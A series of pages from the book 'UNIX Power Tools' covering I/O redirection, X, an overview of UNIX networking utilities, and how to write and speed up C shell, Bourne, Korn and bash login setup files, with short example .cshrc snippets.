Introduction 		Next: 1.31 The X Window System

1.30 Redirecting Input and Output

When you run most UNIX programs, their output goes to your terminal. If the programs prompt you for input, they read it from your terminal. You can tell the shell to redirect that output and input from places besides your terminal. For instance, you can save the output of a program in a file, or tell a program to read data from a file instead of the keyboard. The shell handles the redirection of input and output. Article 13.1 explains the syntax you use to control redirection.

A program can also take its input from the output of another program. This kind of redirection is called a pipe (1.3). Most UNIX utilities are designed to work with data coming from a pipe; a program that transforms that data in some way is called a filter.

To understand the nitty-gritty details of redirection, you need to understand open files and file descriptors. See article 45.20.

- JP, TOR

Previous: 1.29 When Is a File Not a File? | UNIX Power Tools | Next: 1.31 The X Window System
1.29 When Is a File Not a File? | Book Index | 1.31 The X Window System
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.31 The X Window System

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.30 Redirecting Input and Output Chapter 1
Introduction 		Next: 1.32 One Big Hole

1.31 The X Window System

In 1988, an organization called the MIT (Massachusetts Institute of Technology) X Consortium was formed to promote and develop a vendor-neutral windowing system called the X Window System. (It was called "X" because it was a follow-on to a window system called "W" that was developed at Stanford University.) The organization eventually moved away from MIT; now it's called the X Consortium.

A window system is a way of dividing up the large screen of a workstation into multiple virtual terminals, or windows. Each window can contain a separate application program. While the "big win" is to have applications with point-and-click mouse-driven user interfaces, one of the most common applications at this point is still a simple terminal emulator (xterm). X thus allows a workstation to display multiple simultaneous terminal sessions. This makes many of the standard UNIX multi-tasking features such as job control less important, since programs can all be running in the foreground in separate windows. [The X Window System has also brought about a display terminal called an X terminal. An X terminal gives users access to X without buying a complete workstation. -JP ]

Not everyone has X, though, and it's a whole separate can of worms, so we don't cover X or any other window system in this book. If you like this book, look for X User Tools from O'Reilly & Associates.

- TOR

Previous: 1.30 Redirecting Input and Output | UNIX Power Tools | Next: 1.32 One Big Hole
1.30 Redirecting Input and Output | Book Index | 1.32 One Big Hole
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.32 One Big Hole

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.31 The X Window System Chapter 1
Introduction 		Next: 1.33 UNIX Networking and Communications

1.32 One Big Hole

Another big hole in this book is that we don't cover any of UNIX's communications and networking utilities - things like electronic mail, the World Wide Web, netnews, UUCP, rlogin, rcp, rsh, telnet, ftp, archie, WAIS...and all the wonderful Internet resources that are really the "killer applications" for UNIX.

Why do we leave out this most central of UNIX technologies? There's only one good reason: space. The book was heading up toward 1500 pages, and something had to go. We looked for discrete areas that we could cut. O'Reilly & Associates and other publishers cover networking in depth, so we left that topic to other books.

You'll see other holes as well - the X window system (1.31), and utilities for hardcore programmers. We hope you agree, though, that it was better to go for more depth in what we did cover than to try to shoehorn in more superficial material just to say we cover everything.

Article 1.33 has an overview of UNIX networking. And because we didn't want to cut out some good material that fit pretty well with other existing articles, we did leave in a few other networking tips. We just didn't provide as much background or cross-referencing for all of the commands and concepts.

- TOR

Previous: 1.31 The X Window System | UNIX Power Tools | Next: 1.33 UNIX Networking and Communications
1.31 The X Window System | Book Index | 1.33 UNIX Networking and Communications
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.33 UNIX Networking and Communications

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.32 One Big Hole Chapter 1
Introduction 		Next: 1.34 What's Wrong with UNIX

1.33 UNIX Networking and Communications

Generally speaking, a network lets two or more computers communicate and work together. Partly because of its open design, UNIX has been one of the operating systems where a lot of networking development is done. Just as there are different versions of UNIX, there are different ways and programs to use networks from UNIX.

We don't cover networking in this book (1.32). This article has a summary of some common UNIX networking and communications utilities.

The Internet

A worldwide network of computers. Internet users can transfer files, log into other computers, and use a wide range of programs and services.

WWW

The World Wide Web is a fast-growing set of information servers on the Internet. The servers are linked into a hypertext web of documents, graphics, sound, and more. Point-and-click browser programs turn that hypertext into an easy-to-use Internet interface. (For many people, the Web is the Internet. But UNIX lets you do much more.)

mail

A UNIX program that's been around for years, long before networking was common, is mail. It sends electronic memos, usually called email messages, between a user and one or more other users. When you send email, your message waits for the other user(s) to start their own mail program. The people who get your message can file it, print it, reply to it, forward it to other people, and much more. System programs can send you mail to tell you about problems or give you information. You can send mail to programs, to ask them for information. Worldwide mailing lists connect users into discussion groups.

There's more, of course. There are zillions of mail programs for UNIX-some standard, some from vendors, and many freely available. The more common email programs include mailx, Pine, mush, elm, and MH (a package made up of many utilties including comp, inc, show, and so on). Find one that's right for you and use it!

ftp

The ftp program is one way to transfer files between your computer and another computer with TCP/IP, often over the Internet network. ftp requires a username and password on the remote computer. Anonymous ftp (52.7) uses the ftp program and a special restricted account named anonymous on the remote computer. It's usually used for transferring freely available files and programs from central sites to users at many other computers.

UUCP

UNIX-to-UNIX Copy is a family of programs (uucp (52.7), uux, uulog, and others) for transferring files and email between computers. UUCP is usually used with modems over telephone lines.

Usenet

Usenet isn't exactly a network. It's a collection of thousands of computers worldwide that exchange files called news articles. This "net news" system has hundreds of interactive discussion groups, electronic bulletin boards, for discussing everything from technical topics to erotic art.

telnet

This utility logs you into a remote computer over a network (such as the Internet) using TCP/IP. You can work on the remote computer as if it were your local computer. The telnet program is available on many operating systems; telnet can log you into other operating systems from your UNIX host and vice versa. A special version of telnet called tn3270 will log into IBM mainframes.

rlogin

Similar to telnet but mostly used between UNIX systems. Special setups, including a file named .rhosts in your remote home directory, let you log into the remote computer without typing your password.

rcp

A "remote cp" program for copying files between computers. It has the same command-line syntax as cp except that hostnames are added to the remote pathnames.

rsh

Starts a "remote shell" to run a command on a remote system without needing to log in interactively.

NFS

NFS isn't a user utility. The Network FileSystem and related packages like NIS (the Network Information Service) let your system administrator mount remote computers' filesystems onto your local computer. You can use the remote filesystem as easily as if it were on your local computer.

write

Sends messsages to another user's screen. Two users can have a discussion with write.

talk

A more sophisticated program than write, talk splits the screen into two pieces and lets users type at the same time if they want to. talk can be used over networks, though not all versions of talk can talk to one another.

If you'd like more information, there are quite a few books about networking. Some Nutshell Handbooks on networking and communications include The Whole Internet User's Guide and Catalog - ail, Usenet, ftp, telnet, and more); Using Usenet; !%@:: The Directory of Electronic Mail Addressing & Networks; and many more advanced books for programming and administration.

- JP

Previous: 1.32 One Big Hole | UNIX Power Tools | Next: 1.34 What's Wrong with UNIX
1.32 One Big Hole | Book Index | 1.34 What's Wrong with UNIX
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 1] 1.34 What's Wrong with UNIX

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 1.33 UNIX Networking and Communications Chapter 1
Introduction 		Next: I. Making Yourself at Home

1.34 What's Wrong with UNIX

Unfortunately, the same thing that's special about UNIX is also the source of most of what's wrong.

An operating system burdened with 25 years' worth of nifty add-on programs (1.1) is bound to have an awful lot of inconsistencies and overlapping functions.

This can be awfully confusing even for experienced users. All you have to do is watch the "flame wars" (arguments) on Usenet (1.33) to realize how little understanding and agreement there is among self-styled experts about exactly how things work.

UNIX's checkered heritage shows up most clearly in programs with overlapping functions that seem to do almost the same thing. What's the logic behind the way both tset (5.11) and stty (41.3) can be used to set serial line characteristics?

There isn't any. These two programs represent independent efforts to solve related problems. The overlap is entirely unintentional, and in a managed development effort, would have been resolved in favor of a single program with a unified interface.

No one said it would be easy. But no other operating system that I know about is as much fun.

- TOR

Previous: 1.33 UNIX Networking and Communications | UNIX Power Tools | Next: I. Making Yourself at Home
1.33 UNIX Networking and Communications | Book Index | I. Making Yourself at Home
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] Logging In

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: I. Making Yourself at Home Chapter 2 Next: 2.2 Shell Setup Files-Which, Where, and Why

2. Logging In

Contents:
Customizing the Shell
Shell Setup Files-Which, Where, and Why
What Goes in Shell Setup Files?
Tip for Changing Account Setup: Keep a Shell Ready
Tips for Speeding up Slow Logins
Use Absolute Pathnames in Shell Setup Files
C Shell Setup Files Aren't Read When You Want Them to Be?
Identifying Login Shells
Speeding Up Your C Shell with set prompt Test
Gotchas in set prompt Test
Faster ksh and bash Startup with $- Test
Automatic Setups for Different Terminals
A .cshrc.$HOST File for Per Host Setup
motd.diff: Show New Lines in Login Messages
Unclutter Logins: Show Login Messages Just Once
Approved Shells: Using Unapproved Login Shell

2.1 Customizing the Shell

You probably know that shells can be customized to work the way you want them to with shell and environment variables (6.8, 6.1), command aliases, shell functions (10.1), and so on.

You can set variables and create aliases by hand at any time, but the shell will "forget" your settings when you log out. To use the same settings every time you log in, put the commands in special shell setup files (2.2) in your home directory. These files aren't just for setting things like shell variables. Shells can run any UNIX command when you log in and log out. All of this can save time and make your login session do more for you.

- JP

Previous: I. Making Yourself at Home | UNIX Power Tools | Next: 2.2 Shell Setup Files-Which, Where, and Why
I. Making Yourself at Home | Book Index | 2.2 Shell Setup Files-Which, Where, and Why
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.2 Shell Setup Files-Which, Where, and Why

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 2.1 Customizing the Shell Chapter 2
Logging In 		Next: 2.3 What Goes in Shell Setup Files?

2.2 Shell Setup Files-Which, Where, and Why

To understand setup files, you need to understand that a shell can run in two modes: as a login shell or a non-login shell.

When you log in to a UNIX system, the login program usually starts a shell for you. The login program sets a special flag (51.9) to tell a shell that it's a login shell.

If the shell doesn't have that flag set, it won't act like a login shell. Opening a new window in a window system may or may not start a login shell - that depends on the configuration. (For example, the command xterm -ls starts a login shell in an xterm window (1.31); xterm +ls starts a non-login shell.) When you connect to a system with programs like ftp and uucp, that usually starts a non-login shell. And a subshell (38.4) is never a login shell.

How can you tell whether your shell is a login shell? Unfortunately for newcomers, the answer is: "it depends." The scheme does make sense - after you get familiar with it, anyway. When you first log in to a system, you want a login shell that sets things like the terminal type (5.2, 5.3). Other shells on the same terminal should be non-login shells - to avoid redoing those one-time-only setup commands. Different shells have their own methods for handling first-time shell invocations vs. later invocations, and that's what the rest of this article is about.

Finally, at the risk of really getting ahead of myself: in all the shells I know of, parenthesis operators (13.7) don't read any setup file. Instead, they start another instance of your current shell. Parentheses are called "subshell operators," but the subshell they start doesn't print a prompt and usually has a short lifetime.

Whew. Read on (I recommend that you read about all of the shells). Then experiment with your shell's setup files until you get things working the way you want them.

2.2.1 Bourne Shell

The original Bourne shell has one file that it reads when you log in: it's called .profile and is in your home directory. Put all your setup commands there.

The Bourne shell doesn't read .profile when you start a subshell (13.7), though. Subshell setup information has to come from environment variables (6.1) that were set in .profile when you first logged in or from commands you typed since.

2.2.2 C Shell

C shell users have three shell setup files available:

  • The .cshrc file is read any time a C shell starts - that includes shell escapes and shell scripts. [1] This is the place to put commands that should run every time you start a shell. For instance, shell variables like cdpath (14.5) and prompt (7.1) should be set here. Aliases (10.2) should, too. Those things aren't passed to subshells through the environment, so they belong in .cshrc.

    [1] If you write a csh script, you should probably use the -f option to keep C shell scripts from reading .cshrc. Of course, even better, you probably shouldn't use csh for scripts (47.2).

  • The .login file is read when you start a login shell. Here's where you should set:

    • Environment variables (6.1) (which UNIX will pass to subshells automatically)

    • Commands like tset (5.3) and stty (5.9, 41.3)

    • Commands you want to run every time you log in - checking for mail and news (1.33), running fortune (3.3), checking your calendar for the day, etc.

    Note that .cshrc is read before .login.

  • The shell reads .logout when you end a login shell. Article 2.7 has tips for reading .logout from non-login shells.

2.2.3 Korn Shell

The Korn shell is a lot like the Bourne shell. A login Korn shell (2.8) will read the .profile first. The .profile can set the ENV (6.3) environment variable to the pathname of a file (typically $HOME/.kshrc). Then any Korn shell during that login session (including a subshell) will read the file named by $ENV as it starts up, before it runs other commands.

2.2.4 bash

bash is something of a cross between the Bourne and C shells. A login bash will read .bash_profile, .bash_login, or .profile. A bash subshell - but not a login shell - will read a file named .bashrc in your home directory. The shell reads .bash_logout when you end a login shell; you can set a trap (3.2) to handle non-login shells.

2.2.5 tcsh

tcsh is like the C shell, with one exception: if you put a file named .tcshrc in your home directory, tcsh will read it instead of .cshrc.

- JP

Previous: 2.1 Customizing the Shell | UNIX Power Tools | Next: 2.3 What Goes in Shell Setup Files?
2.1 Customizing the Shell | Book Index | 2.3 What Goes in Shell Setup Files?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.3 What Goes in Shell Setup Files?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 2.2 Shell Setup Files-Which, Where, and Why Chapter 2
Logging In 		Next: 2.4 Tip for Changing Account Setup: Keep a Shell Ready

2.3 What Goes in Shell Setup Files?

Shell setup files like .login and .profile typically do at least the following:

  • Set the search path (8.7).

  • Set the terminal type (5.3) and make various terminal settings (5.9, 41.3).

  • Set environment variables (6.1) that might be needed by programs or scripts that you typically run.

  • Run one or more commands that you want to run whenever you log in. For example, if your system login program doesn't show the message of the day, your setup file can. Many people also like to print an amusing or instructive fortune (3.3).

    You might want to run who (51.4) or uptime (39.7) for information about the system.

In the C shell, the .cshrc file is used to establish settings that will apply to every instance of the C shell, not just the login shell (51.9). For example, you typically want aliases (10.2) to be available in every interactive shell you run.

Even novices can write simple .profile or .login and .cshrc files. The real trick is to make these setup scripts really work for you. Here are some of the things you might want to try:

  • Creating a custom prompt (article 7.1).

  • Coordinating custom setup files on different machines (article 2.13).

  • Making different terminal settings depending on which terminal you're using (article 2.12).

  • Seeing the message of the day only when it changes (article 2.15).

  • Doing all of the above without making your login take forever (article 2.5).

- TOR

Previous: 2.2 Shell Setup Files-Which, Where, and Why | UNIX Power Tools | Next: 2.4 Tip for Changing Account Setup: Keep a Shell Ready
2.2 Shell Setup Files-Which, Where, and Why | Book Index | 2.4 Tip for Changing Account Setup: Keep a Shell Ready
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.4 Tip for Changing Account Setup: Keep a Shell Ready

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 2.3 What Goes in Shell Setup Files? Chapter 2
Logging In 		Next: 2.5 Tips for Speeding up Slow Logins

2.4 Tip for Changing Account Setup: Keep a Shell Ready

The shell is your interface to UNIX. If you make a bad mistake when you change your .cshrc, .login or .profile file (2.2), or your password, it can be tough to log in and fix things.

Before you change your setup, it's a good idea to start a login session to the same account from somewhere else. Use that session for making your changes. Log in again elsewhere to test your changes.

Don't have a terminal with multiple windows or another terminal close to your desk? You can get the same result by using rlogin or telnet (1.33) to log in to your host again from the same terminal. What I mean is:

somehost% vi .cshrc
   ...Make edits to the file...
somehost% rlogin localhost
   ...Logs you in to your same account...
An error message
somehost% logout
Connection closed.
somehost% vi .cshrc
   ...Edit to fix mistake...

If you don't have rlogin or telnet, the command su - username (22.22), where username is your username, will do about the same thing.

- JP

Previous: 2.3 What Goes in Shell Setup Files? | UNIX Power Tools | Next: 2.5 Tips for Speeding up Slow Logins
2.3 What Goes in Shell Setup Files? | Book Index | 2.5 Tips for Speeding up Slow Logins
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.5 Tips for Speeding up Slow Logins

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 2.4 Tip for Changing Account Setup: Keep a Shell Ready Chapter 2
Logging In 		Next: 2.6 Use Absolute Pathnames in Shell Setup Files

2.5 Tips for Speeding up Slow Logins

When I first started using the C shell in the early 1980s, I made incredible .cshrc and .login files (2.2) with all kinds of nice customizations. Aliases, commands to check my mail, calendar systems, shell scripts in the background to watch things for me... boy, was this great! Except when I tried to log in, that is. I was working on an overloaded VAX 11/750. Logging in could take a few minutes, from when I got the ;login: prompt until I finally got my shell prompt % (...well, it was really a much fancier prompt, but that's another story :-)).

The C shell seems (to me) to be pretty slow at reading long .cshrc and .login files - especially at setting aliases. So, I learned some ways to get logged in faster. They were especially nice when I was at someone else's terminal and needed to log in for something quick. You might not want to use these exact techniques, but I hope they'll give you some ideas if your logins take too long. The same ideas will work on other shells - but with that shell's commands and syntax, of course.

2.5.1 Quick Login

Add a "quick login" setup to the top of your .cshrc. As soon as the C shell starts and sets a few essentials, this setup asks whether you want a prompt right away. If you answer yes, it starts another C shell with the -f option (important: this makes the subshell (38.4) skip your .cshrc so you don't get a loop):

login: jerry
Password:
Last login: Tue Jan 21 12:34:56 PST 1985
   ...
Answer y for quick login or RETURN for standard: y
For a standard login, type 'exit 77'.
% mail bigboss
Subject: I'm on my way
Carol, I'm leaving for the meeting now. See you by 10:00.
.
% [CTRL-d]

login:

From there, I can run a few quick commands. Typing CTRL-d or exit quits the quick subshell and kills my original login shell, too. If I want to stay logged in on that terminal, I type exit 77. That makes the quick subshell return an exit status (44.7) of 77; the test in the .cshrc notices this and continues logging me in, reading the rest of the .cshrc and .login.

Here's the top of the .cshrc file to set that up:

if ! $?

{ }

$< =~

kill $$

setenv

# only do stuff below if this is an interactive shell
if (! $?prompt) goto cshrc_end

# QUICK LOGIN:
if (! $?LOGGEDIN) then
   set path = (/bin /usr/ucb /usr/local/{bin,mh} {/usr,~}/bin .)
   echo -n "Answer y for quick login or RETURN for standard: "
   if ("$<" =~ y*) then
      echo "For a standard login, type 'exit 77'."
      csh -f
      # PLAIN "exit" JUST EXITS .cshrc... THIS IS BRUTAL BUT IT WORKS:
      if ($status != 77) kill -9 $$
   endif
endif

setenv LOGGEDIN yes

     ...Rest of .cshrc...

cshrc_end:

CAUTION: Be sure to use an if ($?prompt) test (2.9) first to keep this command from being read by noninteractive shells. If you don't, non-interactive shells for jobs like at may hang, waiting for an answer to the "quick login" question - or just be confused and not work.

2.5.2 A Second Alias and Command File

Maybe you have a set of aliases or setup commands that you use only for certain projects. If you don't need that setup every time you log in, you can put the setup commands in a separate file. Make an alias named something like setup that reads the file into your setup shell. Only type setup when you need the extra setup done.

Here's the alias:

~ source
alias setup 'if (! $?setup) source ~/lib/cshrc2'

and the start of the ~/lib/cshrc2 file:

set setup  # variable to stop re-sourcing

alias foo bar
   ...

The first line in the cshrc2 file sets a shell variable that keeps the setup alias from re-reading the file into this shell. This saves time if you forget that you've already run setup.

2.5.3 Once-a-Day Setup

Maybe there are some commands that you want to run only once a day, the first time you log in. For example, I had a reminder system that showed my calendar for the day, reminded me of birthdays, etc. A test like this in .login handles that:

$date[n]
set `...`

-e
touch

unset
# Put day name in $date[1], month in $date[2], date in $date[3], etc:
set date=(`date`)
# if today's daily setup file doesn't exist, make it and do stuff:
if (! -e ~/tmp/,setup.$date[3]) then
   touch ~/tmp/,setup.$date[3]
   do_calendar
   ...Other once-a-day setup...
endif
unset date

That test uses csh arrays (47.5) to get today's date and make an empty file in my tmp directory with a name like ,setup.23. Once a file is created (say, on June 23), then the setup commands won't run again that day. I have a program that periodically removes files named with a comma(,) (23.20, 23.22) so ,setup.23 will be long gone by the next month's twenty-third day. That could also be done from the .logout file (3.1, 3.2).

- JP

Previous: 2.4 Tip for Changing Account Setup: Keep a Shell Ready | UNIX Power Tools | Next: 2.6 Use Absolute Pathnames in Shell Setup Files
2.4 Tip for Changing Account Setup: Keep a Shell Ready | Book Index | 2.6 Use Absolute Pathnames in Shell Setup Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.6 Use Absolute Pathnames in Shell Setup Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 2.5 Tips for Speeding up Slow Logins Chapter 2
Logging In 		Next: 2.7 C Shell Setup Files Aren't Read When You Want Them to Be?

2.6 Use Absolute Pathnames in Shell Setup Files

One common mistake in shell setup files (2.2) is lines like these:

`...`
source .aliases
echo "Logged in at `date`" >> login.log

What's wrong with those lines? Both use relative pathnames (1.21) for the files (.aliases, login.log), assuming the files are in the home directory. Those lines won't work when you start a subshell (38.4) from somewhere besides your home directory, because your files .cshrc or ENV (like .kshrc) are read whenever a shell starts. If you ever use the source or . commands (44.23) to read the .profile and .login from outside your home directory, you'll have the same problem.

Use absolute pathnames instead. As article 14.11 explains, the pathname of your home directory is in the tilde (~) operator or the $HOME or $LOGDIR environment variable:

source ~/.aliases
echo "Logged in at `date`" >> ~/login.log

- JP

Previous: 2.5 Tips for Speeding up Slow Logins | UNIX Power Tools | Next: 2.7 C Shell Setup Files Aren't Read When You Want Them to Be?
2.5 Tips for Speeding up Slow Logins | Book Index | 2.7 C Shell Setup Files Aren't Read When You Want Them to Be?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.7 C Shell Setup Files Aren't Read When You Want Them to Be?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 2.6 Use Absolute Pathnames in Shell Setup Files Chapter 2
Logging In 		Next: 2.8 Identifying Login Shells

2.7 C Shell Setup Files Aren't Read When You Want Them to Be?

The C shell reads its .cshrc, .login, and .logout setup files at particular times (2.2). Only "login" C shells (2.8) will read the .login and .logout files. Back when csh was designed, this restriction worked fine. The shell that started as you logged in was flagged as a login shell, and it read all three files. You started other shells (shell escapes, shell scripts, etc.) from that login shell, and they would read only .cshrc.

Now, UNIX has interactive shells started by window systems (like xterm (1.31)), remote shells (like rsh (1.33)), and other shells that might need some things set from the .login or .logout files. Depending on how these shells are invoked, these might not be login shells - so they might read only .cshrc. How can you handle that? Putting all your setup commands in .cshrc isn't good because all subshells (38.4) read it... you definitely don't want to run terminal-setting commands like tset during shell escapes!

To handle problems at login time, put almost all of your setup commands in .cshrc instead of .login. After the "login-only" commands have been read from .cshrc, set the ENV_SET environment variable (6.1) as a flag. (There's nothing special about this name. You can pick any name you want.)

The shell will copy the "flag" variable to subshells and the .cshrc can test for it - if the variable exists, the login-only commands are skipped. That'll keep the commands from being read again in a shell escape.

Here are parts of a .cshrc that show the idea:

if $?

...Normal .cshrc stuff...
if ($?prompt && ! $?ENV_SET) then
    # Do commands that used to go in .login file:
    setenv EDITOR /usr/ucb/vi
    tset
        ...
    setenv ENV_SET done
endif

You should put a comment in the .login file to explain what you've done.

The .logout file should probably be read only once - when your last ("top-level") shell exits. If your top-level shell isn't a login shell, you can make it read .logout anyway. Here's how. First, along with the previous fixes to your .cshrc file, add an alias that will read your .logout file when you use the exit command. Also set the ignoreeof variable (3.5) to force you to use the exit command when you log out. Now the chunk of your .cshrc will look like:

""exit

if ($?prompt && ! $?ENV_SET) then
        ...
    # Make all top-level interactive shells read .logout file:
    set ignoreeof

    alias exit 'source ~/.logout; ""exit'
        ...
endif

- JP

Previous: 2.6 Use Absolute Pathnames in Shell Setup Files | UNIX Power Tools | Next: 2.8 Identifying Login Shells
2.6 Use Absolute Pathnames in Shell Setup Files | Book Index | 2.8 Identifying Login Shells
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.8 Identifying Login Shells

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 2.7 C Shell Setup Files Aren't Read When You Want Them to Be? Chapter 2
Logging In 		Next: 2.9 Speeding Up Your C Shell with set prompt Test

2.8 Identifying Login Shells

When you first log in to a UNIX system from a terminal, the system usually starts a login shell. This is where you want to do general setup - initialize your terminal, set environment variables, and so on. Here the C shell reads your .login file, and Bourne-type shells read .profile (bash can read others).

Other shells are either subshells (38.4) (started from the login shell) or separate shells started by at (40.3), rsh (1.33), etc. These shells don't read .login or .profile.

To make it possible to find out which you've got, add the line below to the top of your .login or .profile file: The line sets a shell variable (6.8) named loginshell:

set loginshell=yes   ...csh

loginshell=yes   ...sh-type shells

Now wherever you need to know the type of shell, use tests like:

if $?

if [...]
if ($?loginshell)   ...csh

if [ -n "$loginshell" ]   ...sh-type shells

This works because only login shells read .login or .profile. The loginshell variable will be defined only in login shells.

Article 7.9 shows another solution.

- JP

Previous: 2.7 C Shell Setup Files Aren't Read When You Want Them to Be? | UNIX Power Tools | Next: 2.9 Speeding Up Your C Shell with set prompt Test
2.7 C Shell Setup Files Aren't Read When You Want Them to Be? | Book Index | 2.9 Speeding Up Your C Shell with set prompt Test
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.9 Speeding Up Your C Shell with set prompt Test

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 2.8 Identifying Login Shells Chapter 2
Logging In 		Next: 2.10 Gotchas in set prompt Test

2.9 Speeding Up Your C Shell with set prompt Test

Every time you start a C shell - in a shell escape (30.26), the su (22.22) command, a shell script, an at job (40.1), etc.-the csh reads the .cshrc file in your home directory. Some of those shells are "noninteractive," which means the shell is running a single command or reading from a script file (1.5)- you won't be typing any commands yourself. If your .cshrc has commands like alias (10.2), set cdpath (14.5), and others that are only useful in interactive shells, it wastes time to make noninteractive shells read them.

You can tell the shell to skip commands that will only be used in interactive shells. Set up your .cshrc this way:

if ! $?

# COMMANDS FOR ALL C SHELLS:
set path = (...whatever...)
   ...
if (! $?prompt) goto cshrc_end

# COMMANDS FOR INTERACTIVE SHELLS ONLY:
alias foo bar
   ...
set cdpath = (~ ~joe/project)

cshrc_end:

Warning! The ! $?prompt succeeds only on noninteractive shells, when the shell hasn't set the prompt variable. On noninteractive shells, the command goto cshrc_end makes the shell skip to the line at the end of the file labeled cshrc_end:.

Of course, if you set your own prompt (7.1), be sure to do it on some line below the ! $?prompt test. Otherwise, the test will always fail!

NOTE: Some books tell you to use a test like this instead:

if (! $?prompt) exit

# commands for interactive shells only:
   ...

But some C shells will log out when they see the exit command in a .cshrc file. Using goto cshrc_end is more portable.

Article 7.3 explains another problem that this $?prompt test solves.

- JP

Previous: 2.8 Identifying Login Shells | UNIX Power Tools | Next: 2.10 Gotchas in set prompt Test
2.8 Identifying Login Shells | Book Index | 2.10 Gotchas in set prompt Test
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.10 Gotchas in set prompt Test

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 2.9 Speeding Up Your C Shell with set prompt Test Chapter 2
Logging In 		Next: 2.11 Faster ksh and bash Startup with $- Test

2.10 Gotchas in set prompt Test

Lots of users add an if (! $?prompt) exit test (2.9) to their .cshrc files. It's gotten so common that some vendors add a workaround to defeat the test. For instance, some versions of the which command (50.8) set the prompt variable so that it can see your aliases "hidden" inside the $?prompt test. I've also seen a version of at that starts an interactive shell to run jobs.

If you've buried commands after if (! $?prompt) that should only be run on interactive shells or at login time, then you may have trouble.

There are workarounds. What you'll need depends on the problem you're trying to work around.

  • The version of which on the CD-ROM works without reading your .cshrc file, so there's no problem there.

  • Here's a way to stop the standard which from reading parts of your .cshrc that you don't want it to read. The first time you log in, this scheme sets a CSHRC_READ environment variable (6.1). The variable will be copied into all subshells (38.4) (like the one that which starts). In subshells, the test if ($?CSHRC_READ) will branch to the end of your .cshrc file:

    if (! $?prompt) goto cshrc_end

# COMMANDS BELOW HERE ARE READ ONLY BY INTERACTIVE SHELLS:
alias foo bar
   ...

if ($?CSHRC_READ) goto cshrc_end

# COMMANDS BELOW HERE ARE READ ONLY AT LOGIN TIME:
setenv CSHRC_READ yes
   ...

cshrc_end:

  • If you have a buggy version of at (40.3) that runs jobs from interactive shells, make your own front-end to at (10.1) that sets an environment variable named AT temporarily before it submits the at job. Add a test to your .cshrc that quits if AT is set:

( ) \at

    # at JOBS RUN INTERACTIVE SHELLS ON MY BUGGY VERSION OF UNIX.
# WORKAROUND IS HERE AND IN THE at ALIAS BELOW:
if ($?AT) goto cshrc_end

   ...
alias at '(setenv AT yes; \at \!*)'
   ...

cshrc_end:

    Most modern versions of at save a copy of your environment and restore it, later, when the at job is run. At that time, the AT environment variable will be set; the C shell will skip the parts of your .cshrc that you want it to. It's ugly, but it works.

Those workarounds probably won't solve all the problems on your version of UNIX, but I hope they'll give you some ideas.

- JP

Previous: 2.9 Speeding Up Your C Shell with set prompt Test | UNIX Power Tools | Next: 2.11 Faster ksh and bash Startup with $- Test
2.9 Speeding Up Your C Shell with set prompt Test | Book Index | 2.11 Faster ksh and bash Startup with $- Test
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 2] 2.11 Faster ksh and bash Startup with $- Test

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 2.10 Gotchas in set prompt Test Chapter 2
Logging In 		Next: 2.12 Automatic Setups for Different Terminals

